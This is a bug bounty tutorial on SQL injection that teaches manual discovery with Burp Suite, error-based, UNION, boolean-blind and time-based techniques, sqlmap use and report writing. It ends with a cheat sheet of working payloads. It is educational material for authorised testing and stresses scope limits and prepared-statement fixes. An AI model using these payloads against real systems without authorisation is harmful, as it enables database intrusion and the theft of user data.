All SQL injection testing in this guide is performed on targets you are explicitly authorised to test — your own lab environment, DVWA, TryHackMe, HackTheBox, or in-scope bug bounty programmes. Never test SQLi against systems you do not have written permission to test. Extracting real user data beyond what is necessary to confirm a vulnerability may violate programme policies and data protection law.
SQL injection for bug bounty is the vulnerability that turns a single quote mark into a $4,500 payout. It has been in the OWASP Top 10 for over two decades. It still exists in production applications in 2026. And when you find it — really find it, in scope, with data extraction confirmed — it is almost always a Critical or High severity finding that programmes pay serious money for. Day 9 teaches you the complete methodology: manual discovery, every injection type, SQLmap automation, and exactly how to write the report.
- What Is SQL Injection & Why It’s a P1 Goldmine
- How SQL Injection Works — The Database Behind Every Login
- Five Types of SQL Injection You Need to Know
- Finding Injection Entry Points — The Hunter’s Recon Checklist
- Manual SQLi Testing with Burp Suite — Step by Step
- Error-Based SQL Injection — Reading the Database’s Mistakes
- UNION-Based SQL Injection — Extracting Data Column by Column
- Blind Boolean SQLi — Inferring Data Without Output
- Time-Based Blind SQLi — Using SLEEP() as an Oracle
- SQLmap — The Automation Layer for Bug Bounty
- Writing SQLi Reports That Pay Maximum
- Further Reading
What Is SQL Injection & Why It’s a Bug Bounty P1 Goldmine
SQL injection for bug bounty is the attack class where unsanitised user input breaks out of its intended data context and gets executed as a SQL command by the database. It sounds technical. In practice it often starts with a single character: a quote mark '. You type it into a search box or a login field. The application throws a database error. That error tells you the input is being interpreted as code rather than data. That is the moment you have found SQL injection.
SQL injection has been the number one web attack technique for over two decades. It sits in OWASP Top 10 A03:2021 — Injection. It is responsible for some of the largest data breaches in history. It still exists in 2026 because developers continue building applications that concatenate user input directly into SQL queries. Your job as a bug bounty hunter is to find those places before malicious actors do.
The reason SQLi pays so well is simple: it fails the same way at every scale. A startup and a Fortune 500 company can both have a login form that concatenates user input into a SQL query. When you find it in the Fortune 500’s programme, you’re holding the keys to their entire user database. That is why programmes pay Critical rates for SQL injection — the vulnerability represents an architecture-level failure with database-wide consequences.
How SQL Injection Works — The Database Behind Every Login
To find SQL injection you need to understand what the vulnerable code looks like. Almost every web application uses a database. When you log in, search for a product, or load a user profile, the application sends a SQL query to the database. In a vulnerable application, your input is pasted directly into that query string rather than being handled as separate data.
Here is the classic vulnerable login form. The developer builds the query by concatenating strings — your username and password are placed directly inside the SQL. There is no parameterisation, no prepared statement, no escaping. Your input is the SQL:
// VULNERABLE — user input pasted directly into SQL string $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; // ATTACKER INPUT: username = admin'-- // RESULTING QUERY: SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'anything' // The -- comments out the password check entirely. Login bypassed. // ───────────────────────────────────────────────────────────────── // SAFE — Prepared Statement (parameterised query) $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]); // User input is NEVER interpreted as SQL — injection is impossible
The SQL comment sequence -- tells the database to ignore everything that follows. By injecting admin'-- as the username, an attacker closes the username string early and comments out the password check entirely. The application logs in as admin with no valid password. This is the most fundamental form of authentication bypass via SQL injection — and it works on any application that concatenates input into queries.
Every injection test in this guide uses Burp Suite Repeater — the same tool you set up and practised with on Day 5. Capture the request in Burp Proxy, send it to Repeater, and modify parameters freely without having to interact with the browser UI. This gives you clean, repeatable testing with full control over every character you send.
Five Types of SQL Injection You Need to Know
SQL injection is not a single technique — it is a class of vulnerabilities that manifests differently depending on how the application handles and returns data. Knowing which type you are dealing with determines the extraction technique you use. Here are all five types with their bug bounty significance:
| Type | How It Works | Signal to Look For | Bug Bounty Severity |
|---|---|---|---|
| Error-Based | DB error messages returned in response — contain extracted data | MySQL error / ODBC error in page output | HIGH |
| UNION-Based | Append UNION SELECT to inject a second query, data returned in page output | Data visible in page after quote injection | CRITICAL |
| Blind Boolean | No output returned — infer data by observing true/false page differences | Page changes between AND 1=1 and AND 1=2 | HIGH |
| Time-Based Blind | No output — infer data by measuring response delays with SLEEP() | 5 second delay on SLEEP(5) payload | HIGH |
| Out-of-Band | Data exfiltrated via DNS or HTTP to attacker-controlled server | DNS lookup from server to your Interactsh listener | CRITICAL |
Finding SQL Injection Entry Points — The Hunter’s Recon Checklist
SQL injection lives wherever user-controlled input touches a database query. Before you start sending payloads, map every input on the application that could be interacting with a database. Use Burp Proxy HTTP History — every request the application makes while you browse normally is captured there. Look for these injection candidates:
# In Burp Suite — use these views to find all injection candidates: # 1. HTTP History → filter by in-scope only # Look for GET params: /search?q= /item?id= /sort?by= # 2. Target → Sitemap → right-click → Engagement Tools → Find comments # Dev comments sometimes reveal DB table names and parameter names # 3. HTTP History → select any request → right-click → Send to Intruder # Intruder → Positions → Auto-select §§ marks every testable parameter # 4. For JSON APIs — use Content-Type: application/json # Burp automatically highlights JSON values as parameters # Quick probe command (manual) — send to EVERY interesting parameter: ' -- single quote: basic break test '' -- double quote: close and reopen string ; -- statement terminator ) -- close parenthesis -- -- comment sequence
Manual SQLi Testing with Burp Suite — Step by Step
Manual testing is what separates a bug bounty hunter from a scanner. Scanners generate noise. Manual testing produces confirmed, reportable findings with minimal footprint. The workflow is always the same: probe, confirm, classify, extract the minimum to prove impact, document.
Step 1 — The Quote Probe
Send a single quote to every parameter you identified. A SQL error in the response means the input is reaching a SQL query unsanitised. No error means either the input is sanitised or the SQL error is suppressed — you’ll need blind techniques. An unexpected response change (page loads differently, records disappear, an empty result set) is also a signal worth investigating.
# Original request — normal parameter GET /products?category=Electronics HTTP/1.1 Host: target.com Cookie: session=YOUR_SESSION_TOKEN # Modified — add single quote to parameter value GET /products?category=Electronics' HTTP/1.1 Host: target.com Cookie: session=YOUR_SESSION_TOKEN # Responses to look for: → "You have an error in your SQL syntax" ← SQLi CONFIRMED (MySQL) → "Unclosed quotation mark after string" ← SQLi CONFIRMED (MSSQL) → "ORA-01756: quoted string not properly" ← SQLi CONFIRMED (Oracle) → "pg_query(): Query failed" ← SQLi CONFIRMED (PostgreSQL) → Page shows 0 results (was showing items) ← Possible blind SQLi → Same page, no change ← Try other parameters
Step 2 — Boolean Confirmation
A single error confirms the input is unsanitised. Boolean payloads confirm the injection is actually controllable — that you can change the SQL logic and the application behaves accordingly. These two payloads are the gold standard of SQLi confirmation:
# TRUE condition — should return normal results GET /products?category=Electronics' AND '1'='1 # Resulting SQL: WHERE category='Electronics' AND '1'='1' ← always true # Expected: normal page output (same as without the injection) # FALSE condition — should return empty/different results GET /products?category=Electronics' AND '1'='2 # Resulting SQL: WHERE category='Electronics' AND '1'='2' ← always false # Expected: empty results, error, or completely different output # ✅ If TRUE = normal output AND FALSE = different output → SQL INJECTION CONFIRMED # The application is evaluating your SQL conditions — you control the query # Comment-based variants (try all — different DBs prefer different syntax) Electronics'-- - # MySQL comment (space required after --) Electronics'# # MySQL hash comment Electronics'/* # MySQL block comment open Electronics';-- # MSSQL / PostgreSQL
"You have an error in your SQL syntax near ''". What does this confirm?Error-Based SQL Injection — Reading the Database’s Mistakes
Error-based injection is the most forgiving type for a beginner — the database tells you what went wrong and sometimes what data it holds. In MySQL, functions like extractvalue() and updatexml() deliberately trigger errors that embed database values inside the error message. You’re using the error output channel as a data exfiltration channel.
# Extract database version — confirm injection + identify DB type ' AND extractvalue(1,concat(0x7e,@@version))-- - # Error output: XPATH syntax error: '~8.0.32-MySQL Community Server' # ↑ The ~ prefix (0x7e) forces the error containing the version string # Extract current database name ' AND extractvalue(1,concat(0x7e,database()))-- - # Error output: XPATH syntax error: '~production_db' # Extract table names from current database ' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- - # Error output: XPATH syntax error: '~users' (first table) # Change LIMIT 0,1 → LIMIT 1,1 → LIMIT 2,1 to enumerate all tables # Alternative: updatexml() — same technique, different function ' AND updatexml(1,concat(0x7e,@@version),1)-- - # ───────────────────────────────────────────────────────────────── # STOP HERE for bug bounty proof — DB version + DB name + tables # is sufficient to prove the vulnerability without touching user data
Stop extraction at database version, database name, and table names. This is all you need to prove SQL injection exists and earns you the full Critical payout. Never extract usernames, password hashes, email addresses, or payment data — extracting real user records likely violates the programme’s safe harbour clause and may violate GDPR. Confirm the vulnerability, screenshot the proof, report it immediately.
UNION-Based SQL Injection — Extracting Data Column by Column
UNION-based injection is the highest-impact SQLi technique when output is visible in the page. The SQL UNION operator combines the results of two SELECT statements. By injecting a second SELECT, you piggyback your extraction query onto the application’s legitimate query — and your extracted data appears in the page alongside (or instead of) the normal output.
The critical prerequisite: your injected SELECT must return the same number of columns as the original query, with compatible data types. Two steps always come before extraction: determine the column count, then identify which columns are reflected in the output.
Blind Boolean SQLi — Inferring Data Without Output
Most modern applications suppress error messages. They might log the SQL error internally but show a generic “Something went wrong” to the user. You have no output channel. This does not mean SQL injection is absent — it means you need a different detection technique. Blind boolean injection reads the database bit by bit, using the application’s behaviour (shows results vs shows nothing) as a true/false oracle.
The approach is methodical: ask the database a yes/no question inside your SQL payload. A question that evaluates to true produces one page response. A question that evaluates to false produces a different one. By asking enough binary questions — “Is the first character of the database name greater than ‘M’?” — you can reconstruct any string from the database character by character.
# Baseline — normal response (5 products returned) GET /products?category=Electronics # → 200 OK, 5 product cards displayed # TRUE condition — same as baseline GET /products?category=Electronics' AND 1=1-- - # → 200 OK, 5 product cards displayed ← SAME AS BASELINE = true # FALSE condition — different from baseline GET /products?category=Electronics' AND 1=2-- - # → 200 OK, 0 products displayed ← DIFFERENT = false — BLIND SQLi CONFIRMED # ───────────────────────────────────────────────────────────────── # Now ask real questions about the database # Q: Does the database name start with a letter > 'M'? (ASCII 77) ' AND (SELECT ASCII(SUBSTRING(database(),1,1))) > 77-- - # TRUE (5 products) → first char ASCII > 77 → not A-M range # FALSE (0 products) → first char ASCII <= 77 → in A-M range # Binary search narrows it down — 7 requests to identify one character # SQLmap automates this entirely (covered next section)
The true/false difference does not have to be dramatic. Even a 20-byte difference in response length between true and false conditions is a valid blind SQLi signal. In Burp HTTP History, add the “Length” column and compare true-condition requests against false-condition requests. Consistent length differences are your oracle. Burp Intruder’s Grep Extract feature can automate reading these differences across payloads.
Time-Based Blind SQLi — Using SLEEP() as an Oracle
When even the boolean output differences are invisible — the application returns identical responses regardless of true or false conditions — time-based injection is your last resort. Instead of using page content as the oracle, you use time. If your SQL condition is true, the database sleeps for a defined number of seconds before responding. That delay is measurable even when no data is returned in the response body.
Time-based techniques are slower and noisier than boolean or UNION methods, but they work against applications that return no output whatsoever — including JSON APIs that always return the same empty object, or backend processing endpoints that return only a success status code.
# MySQL — SLEEP() function ' AND SLEEP(5)-- - # If response takes ~5 seconds → SQLi confirmed (MySQL) # MSSQL — WAITFOR DELAY '; WAITFOR DELAY '0:0:5'-- - # If response takes ~5 seconds → SQLi confirmed (MSSQL) # PostgreSQL — pg_sleep() ' AND 1=1 AND (SELECT pg_sleep(5))-- - # If response takes ~5 seconds → SQLi confirmed (PostgreSQL) # Oracle — DBMS_PIPE.RECEIVE_MESSAGE ' AND 1=1 AND (SELECT DBMS_PIPE.RECEIVE_MESSAGE(chr(65),5) FROM dual)-- - # Conditional delay — TRUE condition triggers sleep, FALSE does not # Confirms you have SQL control, not just a slow server: ' AND IF(1=1, SLEEP(5), 0)-- - # 5-second delay ← true condition ' AND IF(1=2, SLEEP(5), 0)-- - # immediate response ← false condition # Different timing between true/false = blind time-based SQLi confirmed
' AND IF(1=1, SLEEP(5), 0)-- - and the response takes 5 seconds. You inject ' AND IF(1=2, SLEEP(5), 0)-- - and it responds instantly. What does this prove?SQLmap — The Automation Layer for Bug Bounty
SQLmap is the industry-standard SQL injection automation tool. It detects and exploits all five SQLi types, handles WAF bypass, and can extract database schema automatically. In bug bounty, SQLmap is a force multiplier — it validates findings you discovered manually and handles the tedious character-by-character extraction of blind SQLi at speed.
Before you run SQLmap on any target, always check the programme’s rules of engagement. Some explicitly prohibit automated scanners. Many allow it when used responsibly — low rate, no aggressive flags, stop at confirmation rather than dumping data. The workflow below is optimised for responsible bug bounty use. You can also reference the full SQLmap Tutorial from the Kali Linux Course for a deeper technical dive.
--dump dumps all data from a table — never use on production. --dump-all dumps every database — absolutely never. --os-shell attempts OS command execution — only on explicitly authorised targets. --level=5 --risk=3 enables highly aggressive payloads that can damage production databases. Stay at level 1, risk 1 for all bug bounty work unless specifically authorised to go higher.
Writing SQLi Bug Bounty Reports That Pay Maximum
A confirmed SQL injection finding is only worth what your report communicates. Triage reviewers read dozens of reports per day. The reports that pay maximum — and pay quickly — are the ones that require zero back-and-forth: the vulnerability is unambiguous, the reproduction steps work the first time, and the impact is spelled out clearly so the reviewer can immediately justify the payout to their security manager.
The same SQL injection reported with a clear template versus a messy paragraph dump has produced 3x payout differences on the same programme. Read the full bug bounty report writing guide alongside this template. Combine both and your SQLi report will pay at the top of the programme’s range every time.
category parameter in the product search endpoint is vulnerable to UNION-based SQL injection. The input is concatenated directly into a SQL query without parameterisation. An unauthenticated attacker can extract the database version, enumerate all table names, and potentially access any data stored in the connected database.https://target.com/products?category=Electronics2. Send to Repeater. Append a single quote:
category=Electronics' → observe MySQL syntax error in response3. Determine column count: inject
category=Electronics' ORDER BY 3-- - (no error) vs ORDER BY 4 (error) → 3 columns4. Find reflected column:
category=0' UNION SELECT NULL,'SE_TEST',NULL-- - → string ‘SE_TEST’ appears in page5. Extract DB version:
category=0' UNION SELECT NULL,@@version,NULL-- - → page displays: 8.0.32-MySQL Community Server6. Extract DB name:
category=0' UNION SELECT NULL,database(),NULL-- - → page displays: production_db7. Extract tables:
category=0' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- - → users, orders, payments, admin_logs→ Database version and type disclosed
→ Tables include: users, orders, payments, admin_logs — highly sensitive data accessible
→ No authentication required — exploitable by any internet user
→ Potential for full data extraction, authentication bypass, and data modification
category parameter — only permit known-valid category values. Disable detailed SQL error messages in production. Reference: OWASP SQL Injection Prevention Cheat Sheet.users table. What is the correct next step for bug bounty?
# ── PROBE PAYLOADS ─────────────────────────────────────────────── ' # Basic quote probe ' AND 1=1-- - # Boolean TRUE ' AND 1=2-- - # Boolean FALSE # ── ERROR-BASED (MySQL) ────────────────────────────────────────── ' AND extractvalue(1,concat(0x7e,@@version))-- - ' AND extractvalue(1,concat(0x7e,database()))-- - ' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- - # ── UNION-BASED ────────────────────────────────────────────────── ' ORDER BY 1-- - # Find column count ' UNION SELECT NULL,'SE_TEST',NULL-- - # Find reflected column ' UNION SELECT NULL,@@version,NULL-- - # Extract version ' UNION SELECT NULL,database(),NULL-- - # Extract DB name ' UNION SELECT NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema=database()-- - # ── TIME-BASED BLIND ───────────────────────────────────────────── ' AND SLEEP(5)-- - # MySQL ' AND IF(1=1, SLEEP(5), 0)-- - # Conditional delay '; WAITFOR DELAY '0:0:5'-- - # MSSQL # ── SQLMAP (Responsible Use) ───────────────────────────────────── sqlmap -u "https://target.com/items?id=1" --batch --level=1 --risk=1 sqlmap -r request.txt --banner --batch sqlmap -u "URL" --current-db --batch sqlmap -u "URL" --tables --batch sqlmap -u "URL" --random-agent --delay=2 --batch
and report SQL injection for bug bounty.
Day 10 takes a different attack direction: SSRF — Server-Side Request Forgery. Where SQL injection attacks the database, SSRF weaponises the server itself, making it reach internal infrastructure that should never be internet-accessible. Cloud metadata endpoints, internal APIs, admin panels — SSRF unlocks all of them. This is one of the most underrated P1 vulnerability classes in modern bug bounty.
Frequently Asked Questions — Day 9
SecurityElites — SQL Injection Tutorial for Beginners 2026 — hands-on DVWA + SQLmap walkthrough
SecurityElites — How to Write a Bug Bounty Report That Gets Paid — templates and rejection reasons
PortSwigger Web Security Academy — SQL Injection — free interactive labs for every SQLi type →
OWASP — SQL Injection — official attack reference with prevention guidance →
SQL injection was the first High-severity bug I ever found in a real programme. I was testing a product search endpoint on a HackerOne programme that had been live for four years. One quote mark. One error message. A single UNION query later, I had the database version, database name, and twelve table names on screen — including one called payment_records. I stopped there, wrote the report, and received $3,200 eight days later. The methodology you learned today is exactly what I used. Day 10 next — SSRF is waiting.

